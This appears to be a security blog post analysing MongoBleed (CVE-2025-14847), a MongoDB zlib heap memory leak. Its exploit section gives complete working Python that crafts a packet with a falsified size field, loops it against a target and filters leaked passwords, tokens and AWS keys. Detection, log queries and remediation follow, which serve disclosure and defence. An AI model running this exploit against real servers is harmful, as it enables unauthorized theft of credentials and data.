Featured image of post MongoBleed (CVE-2025-14847): Exploiting MongoDB's Zlib Memory Leak

MongoBleed (CVE-2025-14847): Exploiting MongoDB's Zlib Memory Leak

A deep-dive into CVE-2025-14847 (MongoBleed) — an unauthenticated heap memory disclosure vulnerability in MongoDB's zlib compression layer that exposed 87,000+ servers and leaked plaintext credentials, AWS keys, and session tokens.

87,000 internet-exposed MongoDB servers. Zero authentication required. One malformed packet — and you’re reading heap memory that was never meant to leave the server.

That’s MongoBleed. CVE-2025-14847 dropped in December 2025 with a public PoC less than two weeks after the patch. CISA added it to the KEV catalog within ten days of disclosure. This isn’t a theoretical bug — Wiz telemetry found that 42% of visible MongoDB deployments were running a vulnerable version, and threat actors were already claiming credit for real-world breaches before most teams had even read the advisory.

This post is a technical walkthrough of how MongoBleed works from the wire up: the vulnerability root cause, exactly how to craft the malicious packet, what the heap spills, and how to detect it if you’re defending.


What Is MongoBleed?

MongoBleed is a pre-authentication memory disclosure vulnerability in MongoDB’s zlib network compression implementation. By sending a specially crafted compressed packet with a mismatched length field, an unauthenticated remote attacker can cause MongoDB to return uninitialized heap memory in its error response — heap memory that may contain database passwords, AWS secret keys, session tokens, and arbitrary in-memory BSON documents.

Field Value
CVE CVE-2025-14847
CVSS 4.0 8.7 HIGH
CVSS 3.1 7.5 HIGH
CWE CWE-130 — Improper Handling of Length Parameter Inconsistency
Auth required None
Network access Remote
User interaction None
CISA KEV Yes — remediation due January 19, 2026
Discovered by Joe Desimone (Elastic)

The name is a nod to Heartbleed — same class of bug: you ask for more data than exists, and the server gives you memory it shouldn’t. The mechanic here is MongoDB’s zlib decompression layer returning the size of the allocated buffer rather than the size of the decompressed data. That off-by-design flaw turns every oversized allocation into a window into heap memory.


Affected Versions

Branch Vulnerable Range Fixed Version
8.2 8.2.0 – 8.2.2 8.2.3
8.0 8.0.0 – 8.0.16 8.0.17
7.0 7.0.0 – 7.0.27 7.0.28
6.0 6.0.0 – 6.0.26 6.0.27
5.0 5.0.0 – 5.0.31 5.0.32
4.4 4.4.0 – 4.4.29 4.4.30
4.2 / 4.0 / 3.6 All versions No fix — EOL

If you’re running 4.2 or older, there’s no patch coming. Your only option is to disable zlib compression or migrate.


The Root Cause: A Length Field Lies

MongoDB’s wire protocol supports network-level compression via OP_COMPRESSED (opcode 2012). When compression is enabled — and zlib is the default in most deployments — every message on the wire goes through this path.

The structure of an OP_COMPRESSED message looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
MongoDB Message Header (16 bytes)
├── message_length    [4 bytes, little-endian]  total packet size
├── request_id        [4 bytes]
├── response_to       [4 bytes]
└── opcode            [4 bytes] = 2012 (OP_COMPRESSED)

OP_COMPRESSED Body
├── original_opcode   [4 bytes] = 2013 (OP_MSG)
├── uncompressed_size [4 bytes]  THIS IS THE LIAR
├── compressor_id     [1 byte]  = 2 (zlib)
└── compressed_data   [variable]

The uncompressed_size field is meant to tell the server how large a buffer to allocate before decompressing. The server trusts this value completely.

When MongoDB decompresses the message, it:

  1. Reads uncompressed_size and allocates a buffer of that size
  2. Decompresses the zlib payload into that buffer
  3. Returns uncompressed_size (the claimed size) as the message length — not the actual number of bytes written by zlib

Step 3 is the bug. If uncompressed_size is larger than the actual decompressed data, MongoDB treats the tail of the allocation — uninitialized heap memory — as part of the message. When the oversized “message” fails BSON parsing, the server generates an error response that contains fragments of that uninitialized buffer.

You’re not overflowing anything. You’re not corrupting memory. You’re just asking nicely for more than exists, and MongoDB hands it over.


Building the Exploit

The exploit is about 60 lines of Python. Here’s the full mechanics:

Step 1 — Craft a Minimal BSON Document

You need a valid but small BSON payload. The goal is to create a tiny compressed message so that when you lie about uncompressed_size, the gap between real data and claimed size is large — maximizing heap exposure.

1
2
3
4
5
6
7
import struct, zlib, socket, re

# Minimal BSON: { "a": 1 }
# BSON int32 field: type(0x10) + key("a\x00") + value(1)
content = b'\x10a\x00\x01\x00\x00\x00'
doc_len = 4 + len(content) + 1  # 4 (doc_len field) + content + terminator
bson_doc = struct.pack('<i', doc_len) + content + b'\x00'

Step 2 — Wrap in OP_MSG

OP_MSG (opcode 2013) is MongoDB’s standard query/command framing. A section type 0x00 means “body” — a single BSON document.

1
2
3
4
# OP_MSG: flagBits (4 bytes) + section type (1 byte) + BSON document
op_msg = struct.pack('<I', 0)   # flagBits = 0
op_msg += b'\x00'               # section type = body
op_msg += bson_doc

Step 3 — Compress and Lie About the Size

This is where the bug lives. You compress the real message, then claim in uncompressed_size that the message is much larger.

1
2
3
4
compressed_payload = zlib.compress(op_msg)

real_size  = len(op_msg)
lie_size   = real_size + 500    # inflate by 500 bytes — 500 bytes of heap exposure

The +500 offset is tunable. Larger values leak more memory per request; too large and the server may reject the packet at a different check. In practice, offsets between 200 and 2000 bytes produce reliable leaks.

Step 4 — Build the Full OP_COMPRESSED Packet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# OP_COMPRESSED body
body  = struct.pack('<I', 2013)      # original_opcode = OP_MSG
body += struct.pack('<i', lie_size)  # uncompressed_size = INFLATED
body += struct.pack('B', 2)          # compressor_id = zlib
body += compressed_payload

# MongoDB message header
total_len = 16 + len(body)
header  = struct.pack('<I', total_len)
header += struct.pack('<I', 1)       # request_id
header += struct.pack('<I', 0)       # response_to
header += struct.pack('<I', 2012)    # opcode = OP_COMPRESSED

packet = header + body

Step 5 — Send and Extract

Send the packet over raw TCP (port 27017) and parse the error response for leaked memory fragments:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
def leak(host, port=27017):
    with socket.create_connection((host, port), timeout=5) as s:
        s.sendall(packet)
        response = s.recv(65535)

    # MongoDB embeds uninitialized buffer contents in BSON parse error messages
    # Extract field names (printable strings that slipped out of heap)
    leaked_fields = re.findall(rb"field name '([^']{4,})'", response)
    leaked_types  = re.findall(rb"type (\d+)", response)
    return leaked_fields, leaked_types

# Run it — loop to accumulate heap across multiple allocations
for i in range(50):
    fields, types = leak("TARGET_IP")
    for f in fields:
        data = f.decode('utf-8', errors='replace')
        # Flag anything that looks juicy
        if any(kw in data.lower() for kw in ['password','secret','token','admin','akia']):
            print(f"[!] SENSITIVE: {data}")
        elif len(data) > 10:
            print(f"[+] Leak: {data}")

Note: I’ll be adding lab screenshots here demonstrating the exploit running against a vulnerable MongoDB instance and the heap data extracted from the responses.


What Comes Out of the Heap

The heap of a running MongoDB process is a goldmine. Depending on what your target is doing, you can pull:

Credentials and Secrets

  • Plaintext database passwords from authentication operations that haven’t been GC’d yet
  • AWS access keys (format AKIA...) from config loaded at startup or stored in a collection
  • API tokens and bearer tokens from application sessions

BSON Document Fragments

  • Field names and partial values from recently processed queries
  • Collection names, index names, and schema metadata

Internal MongoDB State

  • Connection strings with embedded credentials
  • Replication set configuration with hostnames and auth info
  • GridFS metadata

The exploit doesn’t give you a clean dump — you’re reading heap through a keyhole. But across 50–100 requests, the fragments accumulate. The researchers who found active exploitation in the wild reported pulling AWS secret keys and plaintext passwords from production instances in under two minutes.

Lab output screenshots will be inserted here — showing real heap extractions from a controlled test environment.


Exploitation in the Wild

The timeline moved fast:

  • Dec 19, 2025 — MongoDB releases patches across all supported branches
  • Dec 25–28, 2025 — Public PoC released on GitHub by Elastic researcher Joe Desimone
  • Dec 27, 2025 — Censys reports 87,000+ exposed instances; active exploitation confirmed in the wild
  • Dec 29, 2025 — CISA adds CVE-2025-14847 to KEV catalog, mandating federal remediation by Jan 19, 2026

Geographic breakdown of exposed instances at peak:

  • 🇺🇸 United States: ~20,000
  • 🇨🇳 China: ~17,000
  • 🇩🇪 Germany: ~8,000

The Ubisoft Rainbow Six Siege breach that surfaced in late December 2025 had unverified claims linking it to MongoBleed — no confirmed attribution, but the timing lines up with active exploitation.


Detection

The Behavioral Tell: No Client Metadata

Every legitimate MongoDB driver — PyMongo, the Node.js driver, mongosh, the Java driver — sends a client metadata document immediately after connecting. MongoDB logs this as event 51800. The MongoBleed exploit never does this. It connects, fires malformed packets, and disconnects.

That single signal is your best detection: a source IP with high connection volume and zero metadata events.

Key log event IDs to monitor:

Event ID Meaning
22943 Connection established
51800 Client metadata received (legitimate drivers)
22944 Connection closed

Risk scoring thresholds (from Eric Capuano’s detection research):

Risk Condition
🔴 HIGH ≥100 connections + <10% metadata rate + ≥500 conn/min
🟡 MEDIUM ≥100 connections + <10% metadata rate (lower velocity)
🟢 LOW ≥100 connections (normal metadata rate)

In lab testing, the public PoC produced 499 connections in 0.3 seconds with a 0% metadata rate — versus legitimate traffic at 0.2–3.2 connections/minute with 99–100% metadata rate. That’s a 3–5 order of magnitude difference. You can’t miss it.

MongoDB Log Query (jq)

If you’re on MongoDB 4.4+ with JSON-structured logs:

1
2
3
4
5
6
# Count connections vs metadata events per source IP (last 60 min)
cat /var/log/mongodb/mongod.log | \
  jq -r 'select(.t["$date"] > "2026-05-22T00:00:00") |
          select(.id == 22943 or .id == 51800) |
          [.id, .attr.remote] | @csv' | \
  sort | uniq -c | sort -rn

Velociraptor Hunt Artifact

Eric Capuano released a Velociraptor artifact (Linux.Detection.CVE202514847.MongoBleed) that automates this analysis against both native and Docker MongoDB logs. It’s tunable with thresholds for time window, connection count, and velocity — and outputs per-IP risk scores. Highly recommended if you’re doing incident response at scale.

Network-Level Signature

The malicious packet has a predictable structure: OP_COMPRESSED (opcode 0x7DC) wrapping OP_MSG (opcode 0x7DD) with compressor_id = 2 (zlib), where uncompressed_size significantly exceeds the actual decompressed payload. A Suricata or Zeek rule targeting this mismatch on port 27017 can catch it at the perimeter.


Remediation

Patch — Preferred

Update to a fixed version. If you’re on an unsupported branch (4.2, 4.0, 3.6), these are EOL and will never receive a patch — migrate now.

Branch Target Version
8.2 ≥ 8.2.3
8.0 ≥ 8.0.17
7.0 ≥ 7.0.28
6.0 ≥ 6.0.27
5.0 ≥ 5.0.32
4.4 ≥ 4.4.30

Disable zlib Compression — If You Can’t Patch Immediately

In mongod.conf:

1
2
3
net:
  compression:
    compressors: snappy   # or "disabled" to turn off entirely

Or via command line: --networkMessageCompressors snappy

This removes the vulnerable code path entirely. Note that removing zlib will affect compression ratios for high-throughput workloads — snappy is faster but compresses less aggressively.

Lock Down Network Access

MongoDB should never be reachable from the public internet. If yours is:

1
2
net:
  bindIp: 127.0.0.1,10.0.0.0/8   # bind to localhost + internal CIDR only

Add firewall rules. Restrict port 27017 to trusted application servers only. This doesn’t fix the vulnerability but eliminates the attack surface for the 87,000 servers currently exposed.

Enable Audit Logging

If you’re not already logging connections, start now:

1
2
3
4
auditLog:
  destination: file
  format: JSON
  path: /var/log/mongodb/audit.json

This gives you the event 51800 data you need for detection.


Takeaways

  • Patch immediately. MongoBleed is in CISA KEV, actively exploited, and has a public PoC. There’s no ambiguity here.
  • MongoDB should not be internet-facing. Of the 87,000 exposed instances, most have no legitimate reason to be reachable on port 27017 from the public internet. Fix your security groups and firewall rules regardless of patch status.
  • Disable zlib if patching is delayed. Switching networkMessageCompressors to snappy removes the vulnerable code path with minimal operational impact.
  • Hunt for exploitation now. If you run MongoDB and haven’t checked your logs for the anomalous connection patterns described above — particularly pre-patch-date traffic — do it today. Memory disclosure leaves no obvious data corruption footprint; you won’t find it without looking at connection metadata rates.

Lab environment screenshots demonstrating the exploitation steps and heap extraction output will be added to this post.

Sources: NVD · MongoDB Advisory · BleepingComputer · OX Security PoC Walkthrough · Eric Capuano — Hunting MongoBleed · Tenable · Aikido

Built with Hugo
Theme Stack designed by Jimmy